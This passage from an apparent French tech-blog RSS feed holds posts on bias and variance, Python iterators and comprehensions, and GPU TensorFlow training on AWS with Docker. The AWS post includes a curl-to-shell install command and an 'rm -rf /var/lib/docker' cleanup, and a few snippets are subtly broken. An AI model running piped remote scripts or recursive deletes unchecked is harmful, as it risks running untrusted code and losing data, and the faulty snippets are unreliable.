&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/plot_bias_variance_examples.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Polynomials of various degrees. d = 1 under-fits the data, while d = 6 over-fits the data.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;On peut éviter cela en:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ajoutant de la régularisation à notre modèle; ce qui va réduire la capacité de notre modèle&lt;/li&gt;
&lt;li&gt;Si la data est &lt;em&gt;under-fit&lt;/em&gt; le modèle est trop simple. On dit qu&amp;rsquo;il souffre de &lt;em&gt;High-bias&lt;/em&gt;. Le modèle est biaisé et cela se traduit par le fait que les data sont &lt;em&gt;poorly fit&lt;/em&gt;. On pourrait trouver un autre modèle plus complexe.&lt;/li&gt;
&lt;li&gt;Attention au contraire à ne pas avoir un modèle trop complexe qui ferait que les données &lt;em&gt;&amp;ldquo;over-fitterait&amp;rdquo;&lt;/em&gt; car il pourrait s&amp;rsquo;ajuster parfaitement aux données d&amp;rsquo;entrainement grâce à tous ses degrés de liberté.&lt;/li&gt;
&lt;li&gt;Si le modèle over-fit on peut aussi ajouter des données au dataset&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/over-under-fitted.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Le biais conduit à du sous-apprentissage (<em>underfitting</em>) et la variance amène du sur-apprentissage (<em>overfitting</em>) et donc à de hautes erreurs de tests.</p>
<p>Example pour un jeu de données composé de 8 points:</p>
<p><img src="/images/plot_bias_variance_examples.png" alt="image"></p>
<p><em>Polynomials of various degrees. d = 1 under-fits the data, while d = 6 over-fits the data.</em></p>
<p>On peut éviter cela en:</p>
<ul>
<li>ajoutant de la régularisation à notre modèle; ce qui va réduire la capacité de notre modèle</li>
<li>Si la data est <em>under-fit</em> le modèle est trop simple. On dit qu&rsquo;il souffre de <em>High-bias</em>. Le modèle est biaisé et cela se traduit par le fait que les data sont <em>poorly fit</em>. On pourrait trouver un autre modèle plus complexe.</li>
<li>Attention au contraire à ne pas avoir un modèle trop complexe qui ferait que les données <em>&ldquo;over-fitterait&rdquo;</em> car il pourrait s&rsquo;ajuster parfaitement aux données d&rsquo;entrainement grâce à tous ses degrés de liberté.</li>
<li>Si le modèle over-fit on peut aussi ajouter des données au dataset&hellip;</li>
</ul>
<p><img src="/images/over-under-fitted.png" alt="image"></p>
<blockquote>
<p>Pour déterminer le bon algorithme à utiliser par rapport à notre jeu de données, il faut pouvoir identifier quantitativement le bias et la variance pour pouvoir optimiser les metaparamètres.</p></blockquote>
<p><em>C&rsquo;est faisable grâce au process de <code>cross-validation</code>.</em></p>
<br/>
<h2 id="détecter-loverfitting-grâce-à-la-cross-validation">Détecter l&rsquo;overfitting grâce à la cross-validation</h2>
<p>Pour quantifier les effets du biais et de la variance et construire le meilleur estimateur possible, on va découper notre dataset en 3 parties:</p>
<ul>
<li>training set (60% du dataset)</li>
<li>cross-validation set (20%)</li>
<li>test set (20%)</li>
</ul>
<p>L&rsquo;idée générale est la suivante:</p>
<ol>
<li>Les paramètres du modèles (dans notre cas, les coefficients du polynôme) sont appris en utilisant le training set.</li>
<li>L&rsquo;erreur est évaluée sur le cross-validation set et les meta-paramètres  (dans notre cas les degrés du polynôme) sont ajustés pour que l&rsquo;erreur de cross-validation soit minimisée.</li>
<li>Finalement les labels sont prédits pour le test set. Ces labels sont utilisés pour évaluer la performance de l&rsquo;algorithme à labeliser des nouvelles données.</li>
</ol>
<blockquote>
<p>Pourquoi a-t-on besoin à la fois d&rsquo;un cross-validation set et d&rsquo;un test set ?</p></blockquote>
<blockquote>
<p>Certains data scientists utilisent les mêmes set de données pour le cross-validation set et le test set. Ce n&rsquo;est pas la meilleure approche car les meta-paramètres peuvent &ldquo;<em>over-fittés</em>&rdquo; le cross-validation set tout comme les paramètres peuvent &ldquo;<em>over-fittés</em>&rdquo; le training set.</p></blockquote>
<p>L&rsquo;erreur de cross-validation de notre classifieur polynomial peut être visualisée en affichant l&rsquo;erreur comme une fonction du polynôme de degré d. (Ici exemple avec 100 points)</p>
<p><img src="/images/plot_bias_variance_examples_cross_validation_error.png" alt="image"></p>
<blockquote>
<p>De manière générale, plus on a données d&rsquo;entraînement et plus on peut utiliser un modèle complexe. <em><code>The learning curve</code></em>&hellip;</p></blockquote>
<br/>
<h2 id="la-courbe-dapprentissage">La courbe d&rsquo;apprentissage</h2>
<p>La courbe d&rsquo;apprentissage est l&rsquo;affichage des erreurs de training et de cross-validation en fonction du nombre de <em>training points</em>.</p>
<p><img src="/images/plot_bias_variance_examples_learning_curve.png" alt="image"></p>
<p><em>Learning Curves for a case of high bias (left, d = 2) and high variance (right, d = 20)</em></p>
<ul>
<li>
<p>Sur la gauche, le polynôme de degré 1 est un estimateur hautement biaisé qui sous-apprend les données. C&rsquo;est indiqué par le fait qu&rsquo;à la fois les erreurs d&rsquo;entrainement et les erreurs de cross-validation sont élevées.</p>
</li>
<li>
<p>Sur la droite, le polynôme est de degré 20. L&rsquo;erreur d&rsquo;entrainement est beaucoup plus faible que l&rsquo;erreur de cross-validation. Plus on ajoute de données dans le training set et plus l&rsquo;erreur d&rsquo;entrainement augmente alors que l&rsquo;erreur de cross-validation diminue.</p>
</li>
</ul>
<br/>
<h2 id="conclusion">Conclusion</h2>
<p><img src="/images/tradeoff-biais-variance-sketch.png" alt="image"></p>
<br/>
<p><strong>Fort biais</strong></p>
<p>Si notre algorithme montre un fort biais, il faut:</p>
<ul>
<li>Ajouter plus de features</li>
<li>Utiliser un modèle plus sophistiqué</li>
<li>Diminuer le training set pour booster la durée d&rsquo;entrainement. On arrivera à la même erreur plus rapidement; avec moins de données d&rsquo;entrainement. Par contre, cela ne va pas améliorer la classification.</li>
<li>Diminuer la régularisation: la régularisation est une technique utilisée pour simplifier certains modèles de Machine Learning en ajoutant des termes de pénalité qui dépendent des caractéristiques des paramètres.</li>
</ul>
<br/>
<p><strong>Forte variance</strong></p>
<ul>
<li>Utiliser moins de features</li>
<li>Augmenter le training set. Ajouter des données dans le training set peut réduire l&rsquo;effet d&rsquo;over-fitting et conduire à diminuer la variance de l&rsquo;estimateur.</li>
<li>Augmenter la régularisation qui est faite justement pour éviter l&rsquo;over-fitting.</li>
</ul>
<br/>
<h2 id="code-des-graphs">Code des graphs</h2>
<pre tabindex="0"><code>import pylab as pl
from matplotlib import ticker
from matplotlib.patches import FancyArrow

np.random.seed(42)

def test_func(x, err=0.5):
    return np.random.normal(10 - 1. / (x + 0.1), err)


def compute_error(x, y, p):
    yfit = np.polyval(p, x)
    return np.sqrt(np.mean((y - yfit) ** 2))


#------------------------------------------------------------
# Plot linear regression example
np.random.seed(42)
x = np.random.random(20)
y = np.sin(2 * x)
p = np.polyfit(x, y, 1)  # fit a 1st-degree polynomial to the data

xfit = np.linspace(-0.2, 1.2, 10)
yfit = np.polyval(p, xfit)

pl.scatter(x, y, c=&#39;k&#39;)
pl.plot(xfit, yfit)
pl.xlabel(&#39;x&#39;)
pl.ylabel(&#39;y&#39;)
pl.title(&#39;Linear Regression Example&#39;)

#------------------------------------------------------------
# Plot example of over-fitting and under-fitting

N = 8
np.random.seed(42)
x = 10 ** np.linspace(-2, 0, N)
y = test_func(x)

xfit = np.linspace(-0.2, 1.2, 1000)

titles = [&#39;d = 1 (under-fit)&#39;, &#39;d = 2&#39;, &#39;d = 6 (over-fit)&#39;]
degrees = [1, 2, 6]

pl.figure(figsize = (9, 3.5))
for i, d in enumerate(degrees):
    pl.subplot(131 + i, xticks=[], yticks=[])
    pl.scatter(x, y, marker=&#39;x&#39;, c=&#39;k&#39;, s=50)

    p = np.polyfit(x, y, d)
    yfit = np.polyval(p, xfit)
    pl.plot(xfit, yfit, &#39;-b&#39;)
    
    pl.xlim(-0.2, 1.2)
    pl.ylim(0, 12)
    pl.xlabel(&#39;house size&#39;)
    if i == 0:
        pl.ylabel(&#39;price&#39;)

    pl.title(titles[i])

pl.subplots_adjust(left = 0.06, right=0.98,
                   bottom=0.15, top=0.85,
                   wspace=0.05)

#------------------------------------------------------------
# Plot training error and cross-val error
#   as a function of polynomial degree

Ntrain = 100
Ncrossval = 100
error = 1.0

np.random.seed(0)
x = np.random.random(Ntrain + Ncrossval)
y = test_func(x, error)

xtrain = x[:Ntrain]
ytrain = y[:Ntrain]

xcrossval = x[Ntrain:]
ycrossval = y[Ntrain:]

degrees = np.arange(1, 21)
train_err = np.zeros(len(degrees))
crossval_err = np.zeros(len(degrees))

for i, d in enumerate(degrees):
    p = np.polyfit(xtrain, ytrain, d)

    train_err[i] = compute_error(xtrain, ytrain, p)
    crossval_err[i] = compute_error(xcrossval, ycrossval, p)

pl.figure()
pl.title(&#39;Error for 100 Training Points&#39;)
pl.plot(degrees, crossval_err, lw=2, label = &#39;cross-validation error&#39;)
pl.plot(degrees, train_err, lw=2, label = &#39;training error&#39;)
pl.plot([0, 20], [error, error], &#39;--k&#39;, label=&#39;intrinsic error&#39;)
pl.legend()
pl.xlabel(&#39;degree of fit&#39;)
pl.ylabel(&#39;rms error&#39;)

pl.gca().add_patch(FancyArrow(5, 1.35, -3, 0, width = 0.01,
                              head_width=0.04, head_length=1.0,
                              length_includes_head=True))
pl.text(5.3, 1.35, &#34;High Bias&#34;, fontsize=18, va=&#39;center&#39;)

pl.gca().add_patch(FancyArrow(19, 1.22, 0, -0.1, width = 0.25,
                              head_width=1.0, head_length=0.05,
                              length_includes_head=True))
pl.text(19.8, 1.23, &#34;High Variance&#34;, ha=&#39;right&#39;, fontsize=18)

#------------------------------------------------------------
# Plot training error and cross-val error
#   as a function of training set size

Ntrain = 100
Ncrossval = 100
error = 1.0

np.random.seed(0)
x = np.random.random(Ntrain + Ncrossval)
y = test_func(x, error)

xtrain = x[:Ntrain]
ytrain = y[:Ntrain]

xcrossval = x[Ntrain:]
ycrossval = y[Ntrain:]

sizes = np.linspace(2, Ntrain, 50).astype(int)
train_err = np.zeros(sizes.shape)
crossval_err = np.zeros(sizes.shape)

pl.figure(figsize=(10, 5))

for j,d in enumerate((1, 20)):
    for i, size in enumerate(sizes):
        p = np.polyfit(xtrain[:size], ytrain[:size], d)
        crossval_err[i] = compute_error(xcrossval, ycrossval, p)
        train_err[i] = compute_error(xtrain[:size], ytrain[:size], p)

    ax = pl.subplot(121 + j)
    pl.plot(sizes, crossval_err, lw=2, label=&#39;cross-val error&#39;)
    pl.plot(sizes, train_err, lw=2, label=&#39;training error&#39;)
    pl.plot([0, Ntrain], [error, error], &#39;--k&#39;, label=&#39;intrinsic error&#39;)

    pl.xlabel(&#39;traning set size&#39;)
    if j == 0:
        pl.ylabel(&#39;rms error&#39;)
    else:
        ax.yaxis.set_major_formatter(ticker.NullFormatter())
    
    pl.legend(loc = 4)
    
    pl.ylim(0.0, 2.5)
    pl.xlim(0, 99)

    pl.text(98, 2.45, &#39;d = %i&#39; % d, ha=&#39;right&#39;, va=&#39;top&#39;, fontsize=&#39;large&#39;)

pl.subplots_adjust(wspace = 0.02, left=0.07, right=0.95)
pl.suptitle(&#39;Learning Curves&#39;, fontsize=18)


pl.show()
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Class iterator en Python</title>
            <link>https://leandeep.com/class-iterator-en-python/</link>
            <pubDate>Thu, 09 Feb 2017 22:01:00 +0000</pubDate>
            
            <guid>https://leandeep.com/class-iterator-en-python/</guid>
            <description>&lt;p&gt;Après les &lt;em&gt;list, dict, set comprehensions&lt;/em&gt;, il est possible de créer des &lt;em&gt;class iterator&lt;/em&gt;. Il devient alors possible de boucler sur des objets.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas pas la seule manière de boucler sur des objets. Il existe aussi les &lt;em&gt;generators&lt;/em&gt; et les &lt;em&gt;generator expressions&lt;/em&gt;.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exemple simple:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;class Repeater:
	def __init__(self, value):
		self.value = value
	
    def __iter__(self):
		return self

	def __next__(self):
		return self.value

repeater = Repeater(&amp;#39;Hello&amp;#39;)
for item in repeater:
	print(item)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Output:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Après les <em>list, dict, set comprehensions</em>, il est possible de créer des <em>class iterator</em>. Il devient alors possible de boucler sur des objets.</p>
<blockquote>
<p>Ce n&rsquo;est pas pas la seule manière de boucler sur des objets. Il existe aussi les <em>generators</em> et les <em>generator expressions</em>.</p></blockquote>
<p><strong>Exemple simple:</strong></p>
<pre tabindex="0"><code>class Repeater:
	def __init__(self, value):
		self.value = value
	
    def __iter__(self):
		return self

	def __next__(self):
		return self.value

repeater = Repeater(&#39;Hello&#39;)
for item in repeater:
	print(item)
</code></pre><p>Output:</p>
<pre tabindex="0"><code>...
Hello
Hello
Hello
...
</code></pre><p>Bravo on vient de créer un iterator qui ne finit jamais d&rsquo;afficher Hello. Ce n&rsquo;est pas très utile&hellip; On va maintenant écrire une autre <em>class iterator</em> qui aura un nombre fini de répétitions.</p>
<pre tabindex="0"><code>class BoundedRepeater:
	def __init__(self, value, max_repeats):
    	self.value = value
        self.max_repeats = max_repeats
        self.count = 0
        
	def __iter__(self):
    	return self
        
	def __next__(self):
    	if self.count &gt;= self.max_repeats:
        	raise StopIteration
		self.count += 1
        return self.value

repeater = BoundedRepeater(&#39;Hello&#39;, 3)
for item in repeater:
	print(item)
    
</code></pre><p>Output:</p>
<pre tabindex="0"><code>Hello
Hello
Hello
</code></pre><p>L&rsquo;appel de la <em>class iterator</em> BoundedRepeater avec le <em>fency</em> for-loop revient à écrire le code suivant beaucoup moins simple et lisible:</p>
<pre tabindex="0"><code>repeater = BoundedRepeater(&#39;Hello&#39;, 3)
iterator = iter(repeater)
while True:
	try:
    	item = next(iterator)
    except StopIteration:
    	break
    print(item)
    
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Diviser par 5 la durée d’apprentissage de son réseau de neurones profonds</title>
            <link>https://leandeep.com/diviser-par-5-la-dur%C3%A9e-dapprentissage-de-son-r%C3%A9seau-de-neurones-profonds/</link>
            <pubDate>Mon, 06 Feb 2017 23:42:00 +0000</pubDate>
            
            <guid>https://leandeep.com/diviser-par-5-la-dur%C3%A9e-dapprentissage-de-son-r%C3%A9seau-de-neurones-profonds/</guid>
            <description>&lt;p&gt;Avec l’engouement des Chatbots et l’émergence de nouveaux services SAAS, je me suis dit qu’il fallait que je regarde de plus près comment cela fonctionne…&lt;/p&gt;
&lt;p&gt;J’ai d’abord testé des solutions Cloud et notamment le nouveau service d’AWS Amazon Lex et il faut avouer que la mise en place est vraiment simple. Ils proposent une intégration sur mobile natif via un SDK et une intégration sur Web avec un simple script JS. En 1 heure vous pouvez avoir à disposition un Chatbot et exécuter des actions en fonction des intents que vous avez configuré. Le Chatbot peut communiquer avec AWS Lambda.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Avec l’engouement des Chatbots et l’émergence de nouveaux services SAAS, je me suis dit qu’il fallait que je regarde de plus près comment cela fonctionne…</p>
<p>J’ai d’abord testé des solutions Cloud et notamment le nouveau service d’AWS Amazon Lex et il faut avouer que la mise en place est vraiment simple. Ils proposent une intégration sur mobile natif via un SDK et une intégration sur Web avec un simple script JS. En 1 heure vous pouvez avoir à disposition un Chatbot et exécuter des actions en fonction des intents que vous avez configuré. Le Chatbot peut communiquer avec AWS Lambda.</p>
<p><img src="/images/Diagrams_lex_messaging-platform.png" alt="image"></p>
<p><em>Source: Amazon</em></p>
<p>J’ai également testé le <a href="http://www.ibm.com/watson/developercloud/conversation.html">service conversation de Watson</a> et idem la mise en place est aisée. Il y a projet boilerplate en NodeJS sur Github: <a href="https://github.com/watson-developer-cloud/conversation-simple;">https://github.com/watson-developer-cloud/conversation-simple;</a> ainsi qu’un Chatbot de démo plutôt bien fait: <a href="https://conversation-demo.mybluemix.net/">https://conversation-demo.mybluemix.net/</a></p>
<p>(On m’a aussi parlé des services Wit.ai et API.ai . Je n’ai pas encore testé)</p>
<p>Dans un but pédagogique, j’ai voulu implémenter un Chatbot maison un mon propre réseau neuronal. Je me suis donc inspiré d’un <a href="https://arxiv.org/pdf/1506.05869.pdf">papier</a> écrit par un ingénieur chez Google et créé un modèle Seq2Seq avec un RNN (Recurrent Neural Network).</p>
<p>Dans cet article, je ne vais pas m’entendre sur le RNN ou le modèle Seq2Seq. (Cela pourrait faire l’objet d’un autre article…)</p>
<blockquote>
<p>Ce dont je voulais parler dans cet article c’est comment j’ai divisé par 5 le temps d’apprentissage de mon Recurrent Neural Network !</p></blockquote>
<p>C’est tout simplement grâce aux GPU ! Et dans mon cas précis grâce aux GPU d’Amazon Web Services.</p>
<p><img src="/images/aws.png" alt="image"></p>
<p>Jusqu’à présent, lorsque je voulais entraîner mes réseaux de neurones profonds, j’utilisais le CPU de mon Mac Pro. Entraîner un réseau avec un corpus d’environ 220 000 conversations m’a pris environ 3600 minutes soit 2,5 jours. En utilisant le GPU d’une instance AWS, je suis passé à une demi journée et je pense cela peut encore être optimisé. En effet, je n’ai pas loué les machines avec les plus grosses cartes graphiques…</p>
<p>L’autre gros travail que j’ai fait est de complètement Dockeriser mon projet et faire en sorte que le container Docker puisse accéder au GPU du Host.</p>
<p>Pour ce faire, j’ai utilisé la technologie Compute Unified Device Architecture (CUDA) et un projet open source appelé <a href="https://github.com/NVIDIA/nvidia-docker">nvidia-docker</a>.</p>
<p><img src="/images/NVIDIA-CUDA.jpg" alt="image"></p>
<p>Voici un lien intéressants pour comprendre ce qu’est CUDA: <a href="https://fr.wikipedia.org/wiki/Compute_Unified_Device_Architecture">https://fr.wikipedia.org/wiki/Compute_Unified_Device_Architecture</a></p>
<p>Le gros intérêt d’avoir Dockerisé mon projet est que je peux le faire tourner n’importe où. Bien sûr, si je veux bénéficier de performances optimales pour entraîner mon RNN, il me faut un bon GPU et un GPU de la marque Nvidia.</p>
<p>Voici la procédure à suivre pour faire tourner TensorFlow sur des GPUs sur AWS:</p>
<p>Commencez par démarrer une instance sur AWS. Avec les commandes que vous trouverez ci-dessous, je vous conseille de démarrer une Instance Ubuntu 16.04 LTS:</p>
<p><img src="/images/ubuntu.png" alt="image"></p>
<p>Choisissez ensuite une instance de type p2 ou g2:</p>
<p><img src="/images/p2-g2-aws.png" alt="image"></p>
<p><img src="/images/g2-aws.png" alt="image"></p>
<p>Récupérez l’adresse IP publique de votre instance et connectez vous en SSH</p>
<pre tabindex="0"><code>ssh -i ~/.ssh/&lt;votre-fichier-pem&gt; ubuntu@&lt;addresse-ip&gt;
</code></pre><p>Installer le dernier Driver Nvidia</p>
<pre tabindex="0"><code>$ apt-key adv --fetch-keys http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64/7fa2af80.pub
$ sh -c &#39;echo &#34;deb http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64 /&#34; &amp;&amp; /etc/apt/sources.list.d/cuda.list&#39;
$ apt-get update 
$ apt-get install -y --no-install-recommends cuda-drivers
</code></pre><p>Installer la dernière version de Docker (tutorial réalisé avec Docker 1.13)</p>
<pre tabindex="0"><code>$ apt-get update
$ curl -fsSL https://get.docker.com/ | sh
$ curl -fsSL https://get.docker.com/gpg | sudo apt-key add -
</code></pre><p>Installer Nvidia Docker</p>
<pre tabindex="0"><code>$ wget https://github.com/NVIDIA/nvidia-docker/releases/download/v1.0.0/nvidia-docker_1.0.0-1_amd64.deb
$ dpkg -i nvidia-docker_1.0.0-1_amd64.deb
$ rm nvidia-docker_1.0.0-1_amd64.deb
</code></pre><p>Téléchargez l’image Docker TensorFlow GPU</p>
<pre tabindex="0"><code>$ docker pull tensorflow/tensorflow:latest-gpu
</code></pre><p>Démarrez ensuite un container Docker depuis l’image téléchargée. Je vous conseille d’exposer les ports 6006 et 8888 pour tensorboard et Jupyter Notebook.</p>
<pre tabindex="0"><code>$ nvidia-docker run -itd --name=gpu-tensorflow -p 8888:8888 -p 6006:6006 tensorflow/tensorflow:latest-gpu
</code></pre><p>Vous pouvez à présent vous connecter en SSH dans le container Docker et utiliser TensorFlow. Python 3 devrait être installé.</p>
<pre tabindex="0"><code>$ sudo nvidia-docker exec -it gpu-tensorflow bash
</code></pre><p>La commande suivante vous permettra de vérifier qu’il y a bien une carte GPU accessible:</p>
<pre tabindex="0"><code>$ nvidia-smi
</code></pre><p>Par exemple avec une instance g2.2xlarge (1 Nvidia K520 GPU), vous devriez voir ceci:</p>
<p><img src="/images/nvidia-smi.png" alt="image"></p>
<p>Il ne vous reste plus qu’à cloner votre projet TensorFlow et à l’exécuter.</p>
<p>Si vous ne l’avez pas configuré autrement, vous devriez voir que TensorFlow utilise bien le GPU.</p>
<p><img src="/images/tensorflow-gpu.png" alt="image"></p>
<p>Lorsque vous avez terminé, n’oubliez pas d’éteindre votre instance AWS; surtout si vous choisissez une instance p2. Attention à la facture !</p>
<p>C’est d’ailleurs un point d’amélioration que j’aimerais apporter à ce projet. J’aimerais automatiser la création d’instance AWS via un bot ou un script, que TensorFlow entraîne automatiquement le modèle pendant plusieurs heures et que la VM soit automatiquement <em>terminated</em> lorsque l’apprentissage est achevé. J’aimerais évidemment que le modèle généré par TensorFlow soit sauvegardé dans un Bucket S3.</p>
<p>Pour info, voici les commandes à utiliser pour désinstaller complètement Docker sur Ubuntu. J’ai rencontré des difficultés avec des versions de Docker non compatibles avec nvidia-docker. Ces commandes pourraient aider:</p>
<pre tabindex="0"><code>$ apt-get purge docker-engine
$ apt-get autoremove --purge docker-engine
$ rm -rf /var/lib/docker
</code></pre>]]></content>
        </item>
        
        <item>
            <title>List, set et dict comprehensions en Python</title>
            <link>https://leandeep.com/list-set-et-dict-comprehensions-en-python/</link>
            <pubDate>Sun, 05 Feb 2017 21:12:00 +0000</pubDate>
            
            <guid>https://leandeep.com/list-set-et-dict-comprehensions-en-python/</guid>
            <description>&lt;p&gt;Voici quelques exemples de &lt;em&gt;list et dict comprehensions&lt;/em&gt; en Python.&lt;/p&gt;
&lt;p&gt;Le pattern des &amp;ldquo;X comprehensions&amp;rdquo; est le suivant: &lt;code&gt;values = [expression for item in collection]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Il est possible d&amp;rsquo;ajouter un filtre sur les éléments de l&amp;rsquo;itération avant qu&amp;rsquo;ils soient utilisés dans l&amp;rsquo;évaluation de l&amp;rsquo;expression: &lt;code&gt;values = [expression for item in collection if condition]&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;listes&#34;&gt;Listes&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Python provides compact syntax for deriving one list from another. These
# expressions are called list comprehensions. For example, say you want to
# compute the square of each number in a list. You can do this by providing
# the expression for your computation and the input sequence to loop over.


a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
squares = [x*x for x in a]
print(squares)
# [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Unless you&amp;#39;re applying a single-argument functions, list comprehensions are
# clearer than map built-in function cases, map requires creating a lambda
# function for the computation, which is visually noisy.


squares = map(lambda x: x*x, a)
print(squares)
# Python 2
# [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
# Python 3
print(list(squares))
# [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Unlike may, list comprehensions let you easily filter items from the input
# list, removing corresponding outputs from the result. For example, say you
# only want to compute the squares of the numbers that are divisible by 2.
# Here, I do this by adding a conditional expression to the list
# comprehension after the loop:


even_squares = [x*x for x in a if x % 2 == 0]
print(even_squares)
# [4, 16, 36, 64, 100]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# The filter built-in function can be used along with map to achieve the same
# outcome, but it is much harder to read.


alt = map(lambda x: x*x, filter(lambda x: x % 2 == 0, a))
assert even_squares == list(alt)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;sets&#34;&gt;Sets&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Attention, l&amp;rsquo;ordre des éléments n&amp;rsquo;est pas gardé.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici quelques exemples de <em>list et dict comprehensions</em> en Python.</p>
<p>Le pattern des &ldquo;X comprehensions&rdquo; est le suivant: <code>values = [expression for item in collection]</code></p>
<p>Il est possible d&rsquo;ajouter un filtre sur les éléments de l&rsquo;itération avant qu&rsquo;ils soient utilisés dans l&rsquo;évaluation de l&rsquo;expression: <code>values = [expression for item in collection if condition]</code></p>
<h2 id="listes">Listes</h2>
<pre tabindex="0"><code># Python provides compact syntax for deriving one list from another. These
# expressions are called list comprehensions. For example, say you want to
# compute the square of each number in a list. You can do this by providing
# the expression for your computation and the input sequence to loop over.


a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
squares = [x*x for x in a]
print(squares)
# [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
</code></pre><pre tabindex="0"><code># Unless you&#39;re applying a single-argument functions, list comprehensions are
# clearer than map built-in function cases, map requires creating a lambda
# function for the computation, which is visually noisy.


squares = map(lambda x: x*x, a)
print(squares)
# Python 2
# [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
# Python 3
print(list(squares))
# [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
</code></pre><pre tabindex="0"><code># Unlike may, list comprehensions let you easily filter items from the input
# list, removing corresponding outputs from the result. For example, say you
# only want to compute the squares of the numbers that are divisible by 2.
# Here, I do this by adding a conditional expression to the list
# comprehension after the loop:


even_squares = [x*x for x in a if x % 2 == 0]
print(even_squares)
# [4, 16, 36, 64, 100]
</code></pre><pre tabindex="0"><code># The filter built-in function can be used along with map to achieve the same
# outcome, but it is much harder to read.


alt = map(lambda x: x*x, filter(lambda x: x % 2 == 0, a))
assert even_squares == list(alt)
</code></pre><br/>
<h2 id="sets">Sets</h2>
<blockquote>
<p>Attention, l&rsquo;ordre des éléments n&rsquo;est pas gardé.</p></blockquote>
<br/>
<p><strong>Exemple simple:</strong></p>
<pre tabindex="0"><code>&gt;&gt;&gt; {x * x for x in range(-9, 10) }
set([61, 1, 36, 0, 49, 9, 16, 81, 25, 4])
</code></pre><br/>
<h2 id="dictionnaires">Dictionnaires</h2>
<p><strong>Exemple simple:</strong></p>
<pre tabindex="0"><code>&gt;&gt;&gt; { x: x * x for x in range(5) }
{0: 0, 1: 1, 2: 4, 3: 9, 4: 16} 
</code></pre><pre tabindex="0"><code># Dictionaries and sets have their own equivalents of list comprehensions.
# These make it easy to create derivative data structures when writing
# algorithms.

chile_ranks = {&#39;ghost&#39;: 1, &#39;habanero&#39;: 2, &#39;cayenne&#39;: 3}

rank_dict = {rank: name for name, rank in chile_ranks.items()}

print(rank_dict)
# {1: &#39;ghost&#39;, 2: &#39;habanero&#39;, 3: &#39;cayenne&#39;}

chile_len_set = {len(name) for name in rank_dict.values()}

print(chile_len_set)
# {8, 5, 7}
</code></pre><br/>
<h2 id="listes-à-2-niveaux">Listes à 2 niveaux</h2>
<p>Il est possible d&rsquo;avoir des <em>lists comprehensions</em> avec 2 expressions. Il est possible d&rsquo;aller au-delà mais ce n&rsquo;est pas recommandé pour la lisibilité.</p>
<pre tabindex="0"><code>matrix = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
flat = [x for array in matrix for x in array]
print(flat)

# [1, 2, 3, 4, 5, 6, 7, 8, 9]
</code></pre><pre tabindex="0"><code># The example above is simple, readable, and a reasonable usage of multiple
# loops. Another reasonable usage of multiple loops is replicating the
# two-level deep layout of the input list. For example, say you want to square
# the value in each cell of a two-dimensional matrix. This expression is
# noisier because of the extra [] characters, but it&#39;s still easy to read.

matrix = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
data = [[x*x for x in row] for row in matrix]
print(data)
# [[1, 4, 9], [16, 25, 36], [49, 64, 81]]
</code></pre><pre tabindex="0"><code># If this expression included another loop, the list comprehension would get
# so long that you&#39;d have to split it over multiple lines.

my_lists = [
    [[1, 2, 3], [4, 5, 6]],
    # ...
    [[11, 22, 33], [44, 55, 66]]
]
flat = [x for sublist1 in my_lists
        for sublist2 in sublist1
        for x in sublist2]
print(flat)
# [1, 2, 3, 4, 5, 6, 11, 22, 33, 44, 55, 66]
</code></pre><pre tabindex="0"><code># At this point, the multiline comprehension isn&#39;t much shorter thant the
# alternative. Here, I produce the same using normal loop statements. The
# indentation of this version makes the looping clearer than the list
# comprehension.


flat = []
for sublist1 in my_lists:
    for sublist2 in sublist1:
        flat.extend(sublist2)
print(flat)
# [1, 2, 3, 4, 5, 6, 11, 22, 33, 44, 55, 66]
</code></pre><pre tabindex="0"><code># List comprehensions also support multiple if conditions. Multiple
# conditions at the same loop level are an implicit and expression. For
# example, say you want to filter a list of numbers to only even values
# greater than four. These only list comprehensions are equivalent.


a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
b = [x for x in a if x &gt; 4 if x % 2 == 0]
c = [x for x in a if x &gt; 4 and x % 2 == 0]
print(b)
print(c)
# [6, 8, 10]
# [6, 8, 10]
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Slicing dans tous les sens en Python</title>
            <link>https://leandeep.com/slicing-dans-tous-les-sens-en-python/</link>
